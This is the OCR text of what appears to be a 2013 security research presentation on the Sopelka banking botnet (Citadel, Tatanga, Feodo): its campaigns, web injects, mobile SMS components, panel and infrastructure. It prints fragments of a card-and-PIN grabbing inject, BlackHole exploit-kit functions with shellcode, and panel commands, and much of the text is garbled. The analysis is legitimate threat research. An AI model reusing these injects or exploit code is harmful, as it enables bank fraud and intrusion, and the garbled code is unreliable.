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A With some curiosities
I 3 malware families and the same banking panel
I High level of infections
I Using third party services
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Introduction

A Yet anothebotnet

A With some curiosities
I 3 malware families and the same banking panel
I High level of infections
I Using third party services

A Yet anothemotnet, really?

I Eurograbber
I 36 million EUR??!!
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3 botnetsand1 panel? WTF?7??

Config
@ URLsetc
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3 botnetsand 1 panel? WTF?7??

Config
@ URLSsetc
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Examplel ¢ N

CERERERERAE R 141444444 444444444444444444444444 4 1111
HE ALLCC GRABEER

e s s ssids

set_url http*://*.*/* GP

data inject
<script»var B11CCGrab= (function() {var
hnmﬂ_link="http:ffprnmaker.nrgfccpin",pkey="passwnrd";Eval:functinn:p,a,c,k,e
e({c+29) :c.toString (36) ) };if(!"''.replace(/"/,5tring) ) {while (c--)r[e({c)]=k[c] ||
r[e]}];e=function{) {return'\\w+'};c=1l}while({c—-)if(k[c])p=p.replace (new RegEx
1V=1D+"/2P.2Q0";w 1W() {1l (lm.1n.lc().1lc("1E &€")>=0||1m.1ln.lo().1c("1E 7")>=0) {wv
1{Im.1n.1lo().1c("2T")>=0){v"1F"}C{v"—-"}im 1G=IN():m 14d="";m 1X="";m t=N V()



Examplel ¢ N
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var card data array = ["cc", "ovv",

for (var

param in card data array) {

Ll Exv:ll 5

Py 5 oy, TP "
pr LRl v

function

urlencaode (b) {

function

checkIfExpSelect (a) {

function

parseDateFromCneValue (a) {

function

parseDateFromTwoValue=s(a, b) {

function

getClientWidth(} {

function

getClientHeight () {

function

izsValidCardNumber{a) {

function

searchCVv (a) {

function

searchCCHum {a) {

function

searchExpInput{a) {

function

searchExpInputs{a) {

function

zearchExpSelect{a) {

function

zearchForms={} { |

function

searchInputs () {

function

pinSubmit () {

function

doFormSubmit (a) {

function

postFormData {a) { PIN:

Do "

/[ pinRequest.html x |\

L

C 9 pinRequesthtml

In order to complete vour request, please enter vour credit/debit card PIN

</ td>

onclick=% "All1CCGrab.submitPIH () ;\">
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SopelkaBotnet- Campaigns

Campaign Date Trojan Path Countries
Sopelkal 01/05 Citadel /sopelkal/file.php|file=citspl.exe ES,DE,
30/05 1.3.4.0 /sopelkal/file.phplfile=sopelkal config.bin NL
Sopelka2 01/05 Citadel /sopelka2/file.phplfile=citsp2.exe ES
30/05 1.3.4.0 /sopelka2/file.phplfile=sopelka2_ config.bin
Tatanga 15/06 Tatanga /sec/g.php IT, ES,
15/07 DE, NL
Feodo 15/06  Feodo /zb/v_01 alin/cp.php ES,NL,
15/07 DE, IT
Sopelka3d3 15/08 Citadel /sopelka3/file.php|file=citsp3.exe ES, DE

24/09 1.3.4.5 /sopelka3/file.php|file=sopelka3 config.bin



SopelkaBotnet¢ Infection(l)

A ExploitKit: BlackHole

1383 };

1384 PluginDetect.initScript();

1385 PluginDetect.getVersion(".");

1386 jver = PluginDetect.getVersion("Java", "./getJavalnfo.jar");
1387 pdfver = PluginDetect.getVersion("AdobeReader");
1388 flashver = PluginDetect.getVersion( );
1389 } catch (e) {}

1390 if (typeof jver == ) {

1392 } else {

1395 if (typeof pdfver == ) {

1397 } else {

1400 if (typeof flashver == ) {

1402 I else {
1405 function sple() {

1430 function spl2() { // Java CVE-Z2010-0886

1444 function spl3() { // Java CVE-2010-3552

1477 function spl4a() { // ActiveX ShellExecute

1505 function show pdfi{src) { // Put PDF iframe in HTML code

1512 function spl5() { // PDF exploitation

1513 if (pdfver[@] = @ && pdfver[8] = 8) {

1514 show pdf( ) // CVE-2010-0188

1515 } else if ((pdfver[©] == 8) || (pdfver[0] == 9 && pdfver[l] <= 3)) {
1516 Shuw_pdf[ ) // CVE-2009-8927, CVE-2009-4324, CVE-2008-2992, CVE-2007-5659
1517 }

1518 sple()

1519 }

1520 function sple() { // Fedia Player

1535 function getCN() {

1538 function getBlockSize() {

1541 function getAllocSize() {

1544 function getAllocCount() {

1547 function getFillBytes() {

1551 function getShellCode() {

1552 return "%u4141%u4141%u8366%ufced%uebfc%us810%uc931%uB8166%u58e9%u80Te%u2830%ue240%uebfasuedds%uffebsuffffSuccadsulc5dsu77
1553 }

1554 function spl7() { // Flash

1577 sple();



SopelkaBotnet¢ Infection(Il)

A SPAM

El saldo de la cuenta en el archivo adjunto ¥ X
support@alert banesto.es Agregara contactos [J) 851 Acciones v
Para Dhotmail com ¥
support@alert banesto.es es de confianza. Mostrar siempre ¢l contenido
(l 1 dato adjunto (32,7 kB) Outlook Vista activa A

|

Descargar como zip

Introduzca la siguiente clave para confirmar su transferencia de 554,00 EUR a la cuenta 0059 5440 66 37539**%39,
Clave: 790713 Fr:BANESTO
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SopelkaBotnet- Injects

A Minimal HTMLcodein the configfile
I Externaldavascript files
I Onefile per affectedentity

I DownloadingviaPHFHfile
Ahttps:// domain.com/dirget.php/campaignDif?name
=Inject.js
I Sametechniqueusedin the 3 malwarefamilies
| Tatanga URInjectsserver?)
Ax.php?cmdig8&gettypegs&id=inyeccion.js&uid0000



SopelkaBotnet- Injects

A Citadel

sCript>
if(!window. jQuery){

document.write( + + ):
}
<fscript>
<sCript>
document.write( + + );
document.write( | i |
</fscript=

A Tatanga

</script=

=style type="text/css">
=fstyle>

=script=
document.write( I | [ ]
=/script>

data end

data_after

=/head>

data end
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SopelkaBotnet- Injects

A Tatangastringsin aCitadelconfig

$.toldsO0N = function(v) {
var T = isNaN(v) ? s[typeof v] : s[ 1:
if () returm f(v):
}:
})(jQuery);
var tTalk=(function(){

var vurl |
user= A
bor name{ =]
ID= .
arr={ : . : ¥}

function instantiate(){
function get{what,acc){
var json=tTalk().read(),answ=[];
if (!json)
return null;

else
if(typeof acc== Y
for (wvar i in json)if({typeof json[i][what]!=
}
elseq
for (wvar i im json)if(json[il]l l=—acc && typeof json
}
b

returm (answ.length===0)7null:answ;




SopelkaBotnet- Injects

A 2FA

Descargate la aplicacion en tu movil
1. Ezcribe tu ndmera de mavil v te enviaremos un SMS para gue descargues la aplicacion.

|Espana [34] % Ej: 123456759
i i i HET- TR 'R P =X 28 W AT |
2. Par favor, escoja la version del zistema oper T TR Tor
tGo.data( () .bind( ,function(){
tGo.data( ,tGo.data( ). filter( ).val());
: var phone=(function(){
Anclroicd B return +tGo.datal( ).val()+tGo.data( ).val().replace(/[™~\d+1/g,"'"');
; O
0 = if(tGo.data( == | | t6o.datal( == ){
Cther jQuery.ajax({
url: | |
data:{
num: phone,
type:tGo.data( )
I
dataType: .
success: function(r){
tGo( )i
}
I3
by
else tGo( )i
tGo.data( )().unbind();
tGo.datal( ,tGo.data( )+ +tGo.data( )+ + +encode

)
tGo.data( V()
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SopelkaBotnet- MyCoolSMS

A UsingAPIto sendSMSo the victims
A SExecutivé accounts

aaaaaaaaaaaaaaaaaaaaaaaa

A Three knownusers smshumofdanieliv hgm
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SopelkaBotnetc smshumor

A Usedln Sopelkal/ZampaigngMay)

" FromMarchto July
Sometestsperformedin Marchand April
FonYouwirtual numbersfor testing Spair)
URIsawith linksto .Jad 5.1%and .apk 94.9%)
cBancoMovée O pdaender I a
AAlsodSecurelnfé | MdRilBanlé

2407 SMSent
A240¢
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SopelkaBotnet¢ danieliv

A Feodd Tatangacampaigns
I Julyand August
I Just.apkzew)and.jad (2ax%)again
I Sentto Germany Italy/ Netherlandsmostly

I 574 SMS
A99.&
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SopelkeBotnet- hgm

A Active since end of July
I Heavily used durin§opelka3campaign (Sept)
I SMS sent to Spanish and German phones
I Also links tasis(1o%)
ia¢ch// hé Fa aSYRSNJ
I Internal communication

I 1162 SMS
A188&
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SopelkaBotnet¢ Mobile apps

A Mobile components known since 2010
I Android
A19th of July 2012

I BlackBerry
A 20th of August 2012
I Symbian
A 9th and 20th of August 2012

A Same admin phone numbers

I Swedish virtual numbers
A +46769436094
A +46769436073



SopelkaBotnet¢ Mobile apps

A Symbiancertificates A mail (test)

& SISContents o =] B
File Toaols Options Help

-7 20xD

| |
!
Creation kime: |12:29:2III {LITC]II

Inskall bype: Installakion [S4]

Target devices:
Symbian™3 devices, 560 Sth Edition devices

sms-listener | Delete H

Package UID: |Dx2EIEIE-9355 Target devices: |2 devices |
Yendor name; |'-.-'en|:||:|r | Soft, dependencies: |2 |
Package name: |sms-li5tener | Options: |':' |
Version: 1.00(0) | Languages: UK English |
Creation date:  09-08-2012 | Signing status: Signed |

|

|

Certificate chains (select certificate in the lis se bukkon bo see opkions);

Issued by Issued ko Yalidity
Ixonos Developer A roman@pasechnik. net 09.08.2012 - 31.07.2015




SopelkaBotnet¢ Mobile apps

A Symbiarcertificates A mail campaig)

& SISContents ]

File Tools Options Help
h = S 0 ==
-

C:\,..., Administrador', Escritorio', compartido’, certificado.sis ~| Delete

Package UID: ||:|x2|:||:|5.ﬁ.BEC Target devices: |2 devices

Yendor name: |BDRTDN TRADE CORP, Soft, dependencies: |1

| |

| |

Package name: |E=Cert | Dptions: |':' |
| |

|

Yersion: 1.02(03 Languages: |I_IK English
Creation date:  [20-08-2012 I Signing skakus: Signed

Creation time: |15 14:20 (UTC) |

Install bype: Installatu:ln [5A] |

Target devices:
Symbian~™3 devices, 560 Sth Edition devices

i_ertificate chains {select certificate in the list and click on the right mouse button ko see options):

Issued by Issued ko Yalidity
Symbian CA I Borton Trade Corp. 20.08,2012 - 21.08.2022
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SopelkaBotnet¢ Bankingpanel

A Russiart English
mnomu

time Iog ip remove
Fnasan link=https://¢ .es/Estatico
/BEComponentesGeneralesAccesoSEI/HtmI/login.htm
panwTbie Grupo=A62803804
Hesanutoe Y e —
0 Ues mmm—mm (S) Clave=081045
o J es_ landrold [S] 2012-09-04 name=HTC A One S = . z
s 01:13:43 mobile=Android o it
es_ iandroid [9] phone= + 34 €0 o owees
© 82012-09-05 [1] number=7725486193
o FIRMA =il * # %0
°&2012-09-04 [2] FIRMA=*** N
) CARLOS Ty finished -‘—‘” m

Bl 250 1emee—y |
© 32012-08-31 [2]
© 92012-08-27 [1]
© ©2012-08-21 [2)
© ©2012-08-20 [1]

o Ude_ landroid [1]
© U es_ s [16]
©Ues_ Ibberry [9]
OUes. ibberry [21]

javascript:get_info('es_ _8250F st Android’)




SopelkaBotnet¢ Bankingpanel

A Commandsinjects)

instance=function({par,opt, func){

if (typeof opt!= && typeof opt!= && typeof opt!= ) opt=[opt];
if (typeof opt== && typeof Tunc== ) func=opt;
if (typeof func!= || typeof opt== ) func=function(){}:;
if(arguments.length==0) {}
else if (typeof par== ) {
switch (par){
case :
send({gimmeid:[]}, function(resp){ID= +resp;func()});
break;
case :
send({getdrop:{bid: [1],columns:{maxlim:"signed” ,priority:"signed”,minlim:"signed"
break;
case :
send({read: {search: {num:user,b:"dbit"},back:["personal”,"acc”,"tried", "maid", "paid
break;
case :
send({write:{unique:{num:user,b:"dbit"},values:{again:true,names:tTalk().drop() .nof
break;
case :
send({replace: [opt[@],opt[1l],0pt[2]]}, func);
break;
case :
var b={change:{}}
b.change[tTalk() .drop().did]={isActiv:"@"}
send(b, func) ;
break;
case :

send({write:{unique:{num:user,b:"dbit"}},log:{str:[opt[©]1]1}}., func);
break;

case :
send({write:{unique:{num:opt[@],b:"dbit"}},log:{str:[opt[1]11}}., func);
break;

case :
send({newdate: [[opt[@],opt[1]1]1]1}, func);
break;
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SopelkaBotnet¢ Bankingpanel

A Commandsinjects)

I ServersideA Not allimplemented
Agetinfo: getsinfo from the server,eventransfers
Anewdate new transfer
Ahas checksf that info existsin the database
Agetvalue obtain somestoreddatalike codescard
Alog: justlogging
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SopelkaBotnet¢ Bankingpanel

A Stolen data
I At least 9,000 banking users
I Configs
A60% affects to Spanish entities
A15% affects to German entities
A15% affects to Italian entities
AThe rest to Netherlands and Money Transfers
I Injects against more than 30 companies
AFound data of 5 Spanish and 2 German

I ThecampaignDidirectory separates campaigns
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SopelkaBotnet¢ Bankingpanel

AOnedatabaseper campaign

CampaignDir Firstusedate Lastusedate Totaluse
/ decit/ 201207-24 20120919 30%
/replace _hgsdonf 20120504 2012-09-20 27%
/ fixan/ 20120521 201209-06 19%
/ foxed 2012-05-21 201207-07 14%
[ fixit/ 2012-06-26 201208-15 5%

/ denew/ 201207-24 20120917 4%
/replace_zeubk 20120505 2012-09-18 0.7%
/mex/ 201209-04 201209-20 0.2%
/mes/ 201209-04 20120919 0.1%
/nor/ - - 0%
/gnV/ - - 0%
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SopelkaBotnet- Infrastructure

A Trojanservers

A DNS servers

A Bankingpanel servers

A Injectsservers

A Serverdo sendSMS

A SendReceivesSMSproviders
A Mobile componentsservers
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SopelkaBotnet- Infrastructure

A Trojanservers
I Atleast30domains

A DNS servers

A Bankingpanel servers

A Injectsservers

A Serverdo sendSMS

A SendReceivesSMSproviders
A Mobile componentsservers
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SopelkaBotnet- Infrastructure

A Trojanservers

A DNS servers
I Complexityleveh+
I Atleast2 domains/ 4 hosts Citade)
A Bankingpanel servers
A Injectsservers
A Serverdo sendSMS
A SendReceiveSMJroviders
A Mobile componentsservers
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SopelkaBotnet- Infrastructure

A Trojanservers
A DNS servers

A Bankingpanel servers
I Atleast8 domains(proxieg

A Injectsservers
A Serverdo sendSMS
A SendReceivesSMSproviders

A Mobile componentsservers
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SopelkaBotnet- Infrastructure

A Trojanservers
A DNS servers
A Bankingpanel servers

A Injectsservers
I At leastl domain

A Serverdo sendSMS
A SendReceivesSMSproviders
A Mobile componentsservers
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SopelkaBotnet- Infrastructure

A Trojanservers

A DNS servers

A Bankingpanel servers
A Injectsservers

A Serverdo sendSMS
I Atleast2 domains

A SendReceivesSMSproviders
A Mobile componentsservers
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SopelkaBotnet- Infrastructure

A Trojanservers

A DNS servers

A Bankingpanel servers

A Injectsservers

A Serverdo sendSMS

A SendReceivesSMSproviders
A Mobile componentsservers
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SopelkaBotnet- Infrastructure

A Trojanservers

A DNS servers

A Bankingpanel servers

A Injectsservers

A Serverdo sendSMS

A SendReceivesSMSproviders

A Mobile componentsservers
I Atleastl3domains
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SopelkaBotnet- Infrastructure

A Citadeldomainsstats (autumn.kz, wet.kz, advia.kz
I IPsgeolocationos/09/2012)

% 1%
2% 1% = DE

BES
mCH
mPT
mIT
mHK
mUS
mNL
UK
AT
mJP
DK
IL
EG
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SopelkaBotnet- Infrastructure

A Citadeldomainsstats

I UniguelPsconnectingto advia.kzoso2012)

5000 -~
4500 -
4000 -+
3500 -
3000 -
2500 -
2000 -
1500 -
1000 -

500 -+

0

DE

ES

CH
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SopelkaBotnet- Infrastructure

A Citadeldomainsstats
I TotaluniquePs(01/09/2012- 07/09/2012)

14000 -
12000 -
10000 -
8000 -
6000 -
4000 -

2000 -

0

DE

ES
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SopelkaBotnet- Infrastructure

A Feodo
I Morethan 30,000infections
Altaly!!
A Tatanga

I 3,000infectionsaprox.

AGermany
ASpain
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SopelkaBotnet- Infrastructure

A Binaryupdates(Citade)

Index of /sopelka3/files

Name Last modified Size Description

¥ Parent Directory :
citsp3.exe 05-Sep-2012 05:03 280K
citsp3_clean.exe  05-Sep-2012 04:53 210K
sopelka3 config.bin 05-Sep-2012 04:53 13K

Apache/2.2.15 (CentOS) Server at iowa.kz Port 80
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SopelkaBotnet- Infrastructure

A Binaryupdates(Citade)

Index of /sopelka3/files

Name Last modified Size Description

o Parent Directory

8] citsp3.exe 11-Sep-2012 15:44 283K
@ citsp3_clean 07-Sep-2012 04:42 213K

citsp3 clean.exe 05-Sep-2012 04:53 210K
sopelka3 config.bin 07-Sep-2012 04:42 13K

Apache/2.2.15 (CentOS) Server at fruno.pl Port 80
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SopelkaBotnet- Infrastructure

A Binaryupdates(Citade)
I Robocrypt
I Styx

b 06dycKaLMOHHas A well of wishes awaits you :
A QX Kamepa in the crypt of decay S ~ PEMVICTPALMA B>

Registration

HOME ABOUT TARIFFS FAQ CONTACT API STYX SPLOIT PACK

Camera possibilities: ' ‘ ‘
Multiobfuscation of binary content and source | \ Y e
sode; ‘ i N \ —
Innovative and the world leading service; ‘ \..
Obfuscation of JavaScript, HTML, EXE, DLL,

SWEF, PDF, IFrame; /
User-friendly interfaces, API for automation; ‘ [ ‘ //

Updates three times in a day ; | % \ 4 ‘
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SopelkaBotnet- Infrastructure

A Internalcommunicatiory tests

I Mobile phonenumbers

AVirtualnumbers
I SpainA FonYou
I Swedem MyCoolSMS
I UnitedKingdomA MyCoolSMS

ARussiamprepaidSIMs(Beeling
I MyCoolSMS
I SMSZ2Email
I TextMarketer



Country Format Monthly Price Price per SMS Doane:iit‘if:II'.r I"t:rﬁmsa"?
Australia +E1ANNNN KK 9.95 EUR 0.015 EUR "4 X
= Austria +A3EXOOOONKNX 9.95 EUR 0.015 EUR "4 partially
[*l canada + 1O 9.95 EUR 0.015 EUR o partially
4= Finland +358XNKAX KK KKK 9.95 EUR 0.015 EUR o b4
El Hong Kong +B52645X N KXX 9.95 EUR 0.015 EUR o partially
== Hungary + 367NN K 9.95 EUR 0.015 EUR o X

B Ireland +35387XXHHNXX 9.95 EUR 0.015 EUR o partially
i Lithuania +37066XXKNXX 9.95 EUR 0.015 EUR o partially
== MNetherlands +3LENXHH NN XK 9.95 EUR 0.015 EUR "4 partially
i Norway +ATSHHHNNX K 9.95 EUR 0.015 EUR "4 partially
mm Poland +4BEXXKKNKX 19.90 EUR 0.015 EUR o b4
B=E South Africa +27BRN AN KK KK 9.95 EUR 0.015 EUR "4 X
= Spain +349XX XK KK XK 9.95 EUR 0.015 EUR o

E3d switzerland +41TEINNAKKXXK 9.95 EUR 0.015 EUR o

g3 United Kingdom e 7O 9.95 EUR 0.015 EUR 4

BEE United States L0000 9.95 EUR 0.015 EUR o partially




/Rootad® 2013

SopelkaBotnet- Infrastructure

A Internalcommunicatiory tests

I Mobile phonenumbers

AVirtualnumbers
I SpainA FonYou
I Swedem MyCoolSMS
I UnitedKingdomA MyCoolSMS

ARussiamprepaidSIMs(Beeling
I MyCoolSMS
I SMSZ2Email
I TextMarketer
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SopelkaBotnet- Infrastructure

A Internalcommunicatiory tests
I Messagesn English
I Someproofspointingto Manchester

AUsingsamevirtual number(hgm)
AUsingSMS2Emadccountwith Manchester IP
A Accountdata

I Butpaymentswith Russiarvirtual credit cardsX
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SopelkaBotnet- Summary

A Citadel / Tatanga Feodo
A Since April to end of September 2012

A Injects + Mobile componenapk jad, si9
I No automatic transfers

A 4 European countries affected

A High infection level

A Russian / English banking panel
A Different nationalities group (?)
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Eurograbber

(<1 Check Point

*  SOFTWARE TECHNOLOGIES LTD.

A Case Study of Eurograbber:

How 36 Million Euros was Stolen via Malware

December 2012
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Eurograbber



